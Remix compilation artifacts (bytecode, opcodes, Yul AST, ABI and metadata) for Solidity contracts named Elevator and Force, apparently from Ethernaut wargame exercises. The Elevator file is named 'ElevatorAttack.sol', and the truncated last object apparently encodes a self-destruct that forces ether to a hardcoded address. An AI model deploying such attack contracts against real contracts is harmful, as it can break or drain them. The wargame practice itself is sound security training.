"src": "1567:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1552:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1552:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1544:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1624:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1637:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1648:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1633:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1633:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "1580:43:1"
},
"nodeType": "YulFunctionCall",
"src": "1580:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "1580:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1506:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1518:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1529:4:1",
"type": ""
}
],
"src": "1436:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1704:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1714:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1730:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "1724:5:1"
},
"nodeType": "YulFunctionCall",
"src": "1724:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1714:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1697:6:1",
"type": ""
}
],
"src": "1664:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1787:48:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1797:32:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1822:5:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1815:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1815:13:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1808:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1808:21:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1797:7:1"
}
]
}
]
},
"name": "cleanup_t_bool",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1769:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1779:7:1",
"type": ""
}
],
"src": "1745:90:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1886:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1896:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1907:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1896:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1868:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1878:7:1",
"type": ""
}
],
"src": "1841:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2013:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2030:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2033:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2023:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2023:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2023:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "1924:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2136:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2153:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2156:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2146:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2146:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2146:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "2047:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2210:76:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2264:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2273:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2276:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2266:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2266:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2266:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2233:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2255:5:1"
}
],
"functionName": {
"name": "cleanup_t_bool",
"nodeType": "YulIdentifier",
"src": "2240:14:1"
},
"nodeType": "YulFunctionCall",
"src": "2240:21:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "2230:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2230:32:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "2223:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2223:40:1"
},
"nodeType": "YulIf",
"src": "2220:60:1"
}
]
},
"name": "validator_revert_t_bool",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2203:5:1",
"type": ""
}
],
"src": "2170:116:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2335:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2392:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2401:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2404:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2394:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2394:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "2394:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2358:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2383:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2365:17:1"
},
"nodeType": "YulFunctionCall",
"src": "2365:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "2355:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2355:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "2348:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2348:43:1"
},
"nodeType": "YulIf",
"src": "2345:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2328:5:1",
"type": ""
}
],
"src": "2292:122:1"
}
]
},
"contents": "{\n\n function abi_decode_t_bool_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_bool(value)\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_bool_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_bool_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_bool_to_t_bool_fromStack(value, pos) {\n mstore(pos, cleanup_t_bool(value))\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_bool_to_t_bool_fromStack(value0, add(headStart, 0))\n\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function cleanup_t_bool(value) -> cleaned {\n cleaned := iszero(iszero(value))\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_bool(value) {\n if iszero(eq(value, cleanup_t_bool(value))) { revert(0, 0) }\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100415760003560e01c80634069536314610046578063ed9a713414610064578063fe6dcdba14610080575b600080fd5b61004e61009e565b60405161005b91906102b7565b60405180910390f35b61007e60048036038101906100799190610251565b6100a4565b005b6100886101e9565b604051610095919061029c565b60405180910390f35b60015481565b60003390508073ffffffffffffffffffffffffffffffffffffffff16635f9a4bca836040518263ffffffff1660e01b81526004016100e291906102b7565b602060405180830381600087803b1580156100fc57600080fd5b505af1158015610110573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101349190610224565b6101e557816001819055508073ffffffffffffffffffffffffffffffffffffffff16635f9a4bca6001546040518263ffffffff1660e01b815260040161017a91906102b7565b602060405180830381600087803b15801561019457600080fd5b505af11580156101a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101cc9190610224565b6000806101000a81548160ff0219169083151502179055505b5050565b60008054906101000a900460ff1681565b600081519050610209816102ed565b92915050565b60008135905061021e81610304565b92915050565b60006020828403121561023a576102396102e8565b5b6000610248848285016101fa565b91505092915050565b600060208284031215610267576102666102e8565b5b60006102758482850161020f565b91505092915050565b610287816102d2565b82525050565b610296816102de565b82525050565b60006020820190506102b1600083018461027e565b92915050565b60006020820190506102cc600083018461028d565b92915050565b60008115159050919050565b6000819050919050565b600080fd5b6102f6816102d2565b811461030157600080fd5b50565b61030d816102de565b811461031857600080fd5b5056fea264697066735822122067447e02e8893893d98c2ff6f791aa4b6f3c24b5050131bafd04dcefba0f9a6864736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x41 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x40695363 EQ PUSH2 0x46 JUMPI DUP1 PUSH4 0xED9A7134 EQ PUSH2 0x64 JUMPI DUP1 PUSH4 0xFE6DCDBA EQ PUSH2 0x80 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4E PUSH2 0x9E JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x2B7 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x7E PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x79 SWAP2 SWAP1 PUSH2 0x251 JUMP JUMPDEST PUSH2 0xA4 JUMP JUMPDEST STOP JUMPDEST PUSH2 0x88 PUSH2 0x1E9 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x95 SWAP2 SWAP1 PUSH2 0x29C JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 CALLER SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x5F9A4BCA DUP4 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xE2 SWAP2 SWAP1 PUSH2 0x2B7 JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xFC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x110 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x134 SWAP2 SWAP1 PUSH2 0x224 JUMP JUMPDEST PUSH2 0x1E5 JUMPI DUP2 PUSH1 0x1 DUP2 SWAP1 SSTORE POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x5F9A4BCA PUSH1 0x1 SLOAD PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x17A SWAP2 SWAP1 PUSH2 0x2B7 JUMP JUMPDEST PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x194 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x1A8 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0x1CC SWAP2 SWAP1 PUSH2 0x224 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP JUMPDEST POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x209 DUP2 PUSH2 0x2ED JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x21E DUP2 PUSH2 0x304 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x23A JUMPI PUSH2 0x239 PUSH2 0x2E8 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x248 DUP5 DUP3 DUP6 ADD PUSH2 0x1FA JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x267 JUMPI PUSH2 0x266 PUSH2 0x2E8 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x275 DUP5 DUP3 DUP6 ADD PUSH2 0x20F JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x287 DUP2 PUSH2 0x2D2 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x296 DUP2 PUSH2 0x2DE JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2B1 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x27E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x2CC PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x28D JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x2F6 DUP2 PUSH2 0x2D2 JUMP JUMPDEST DUP2 EQ PUSH2 0x301 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x30D DUP2 PUSH2 0x2DE JUMP JUMPDEST DUP2 EQ PUSH2 0x318 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH8 0x447E02E8893893D9 DUP13 0x2F 0xF6 0xF7 SWAP2 0xAA 0x4B PUSH16 0x3C24B5050131BAFD04DCEFBA0F9A6864 PUSH20 0x6F6C634300080700330000000000000000000000 ",
"sourceMap": "60:274:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;103:17;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;127:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;83:15;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;103:17;;;;:::o;127:204::-;168:17;197:10;168:40;;223:8;:20;;;244:6;223:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;217:109;;270:6;262:5;:14;;;;291:8;:20;;;312:5;;291:27;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;285:3;;:33;;;;;;;;;;;;;;;;;;217:109;161:170;127:204;:::o;83:15::-;;;;;;;;;;;;:::o;7:137:1:-;61:5;92:6;86:13;77:22;;108:30;132:5;108:30;:::i;:::-;7:137;;;;:::o;150:139::-;196:5;234:6;221:20;212:29;;250:33;277:5;250:33;:::i;:::-;150:139;;;;:::o;295:345::-;362:6;411:2;399:9;390:7;386:23;382:32;379:119;;;417:79;;:::i;:::-;379:119;537:1;562:61;615:7;606:6;595:9;591:22;562:61;:::i;:::-;552:71;;508:125;295:345;;;;:::o;646:329::-;705:6;754:2;742:9;733:7;729:23;725:32;722:119;;;760:79;;:::i;:::-;722:119;880:1;905:53;950:7;941:6;930:9;926:22;905:53;:::i;:::-;895:63;;851:117;646:329;;;;:::o;981:109::-;1062:21;1077:5;1062:21;:::i;:::-;1057:3;1050:34;981:109;;:::o;1096:118::-;1183:24;1201:5;1183:24;:::i;:::-;1178:3;1171:37;1096:118;;:::o;1220:210::-;1307:4;1345:2;1334:9;1330:18;1322:26;;1358:65;1420:1;1409:9;1405:17;1396:6;1358:65;:::i;:::-;1220:210;;;;:::o;1436:222::-;1529:4;1567:2;1556:9;1552:18;1544:26;;1580:71;1648:1;1637:9;1633:17;1624:6;1580:71;:::i;:::-;1436:222;;;;:::o;1745:90::-;1779:7;1822:5;1815:13;1808:21;1797:32;;1745:90;;;:::o;1841:77::-;1878:7;1907:5;1896:16;;1841:77;;;:::o;2047:117::-;2156:1;2153;2146:12;2170:116;2240:21;2255:5;2240:21;:::i;:::-;2233:5;2230:32;2220:60;;2276:1;2273;2266:12;2220:60;2170:116;:::o;2292:122::-;2365:24;2383:5;2365:24;:::i;:::-;2358:5;2355:35;2345:63;;2404:1;2401;2394:12;2345:63;2292:122;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "169800",
"executionCost": "214",
"totalCost": "170014"
},
"external": {
"floor()": "2407",
"goTo(uint256)": "infinite",
"top()": "2490"
}
},
"methodIdentifiers": {
"floor()": "40695363",
"goTo(uint256)": "ed9a7134",
"top()": "fe6dcdba"
}
},
"abi": [
{
"inputs": [],
"name": "floor",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_floor",
"type": "uint256"
}
],
"name": "goTo",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "top",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "floor",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_floor",
"type": "uint256"
}
],
"name": "goTo",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "top",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/ElevatorAttack.sol": "Elevator"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/ElevatorAttack.sol": {
"keccak256": "0xc2b7a1959aed4f00be4ca4713db5b460b2e9627c73b882f7f11aa9b5c487a28c",
"license": "MIT",
"urls": [
"bzz-raw://79285cfbe1ba7b7624c3494c4e3eb3ef18f1f7d93d1869b02661fd571f6884ac",
"dweb:/ipfs/QmdYtqcPNikRyG3y16SKKSbbBQ9zUHtQ8aat5HYgPoPXHh"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"linkReferences": {},
"object": "6080604052348015600f57600080fd5b50603f80601d6000396000f3fe6080604052600080fdfea2646970667358221220ad468a6469477af7b052a29c841fe75e4862dd494716309e619ccf811dd9af9664736f6c634300060c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x3F DUP1 PUSH1 0x1D PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xAD CHAINID DUP11 PUSH5 0x69477AF7B0 MSTORE LOG2 SWAP13 DUP5 0x1F 0xE7 0x5E 0x48 PUSH3 0xDD4947 AND ADDRESS SWAP15 PUSH2 0x9CCF DUP2 SAR 0xD9 0xAF SWAP7 PUSH5 0x736F6C6343 STOP MOD 0xC STOP CALLER ",
"sourceMap": "60:126:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600080fdfea2646970667358221220ad468a6469477af7b052a29c841fe75e4862dd494716309e619ccf811dd9af9664736f6c634300060c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xAD CHAINID DUP11 PUSH5 0x69477AF7B0 MSTORE LOG2 SWAP13 DUP5 0x1F 0xE7 0x5E 0x48 PUSH3 0xDD4947 AND ADDRESS SWAP15 PUSH2 0x9CCF DUP2 SAR 0xD9 0xAF SWAP7 PUSH5 0x736F6C6343 STOP MOD 0xC STOP CALLER ",
"sourceMap": "60:126:0:-:0;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "12600",
"executionCost": "66",
"totalCost": "12666"
}
},
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.6.12+commit.27d51765"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Force.sol": "Force"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Force.sol": {
"keccak256": "0x4673efc85f6599507bb47a59a0753761cb45d999aa2a796def085c17d5e9dd1a",
"license": "MIT",
"urls": [
"bzz-raw://da4776c4ba36b479d2ed652bf8f627c511986bfa9f69afd3358341e9d24df7b8",
"dweb:/ipfs/QmWJV2zWubyBBKqARChGHp5pFhbzmAqAGQDwZYvxNrLTB1"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "6080604052348015600f57600080fd5b50609a8061001e6000396000f3fe608060405260043610601f5760003560e01c80639e5faafc14602a576025565b36602557005b600080fd5b60306032565b005b60007359bb54f65d7c1669d6e8bbcb599da781f1e0035790508073ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220ab776daba1c2a8ec85a759f44270b10c15675010602580696f1e20453620736e64736f6c63430008070033",
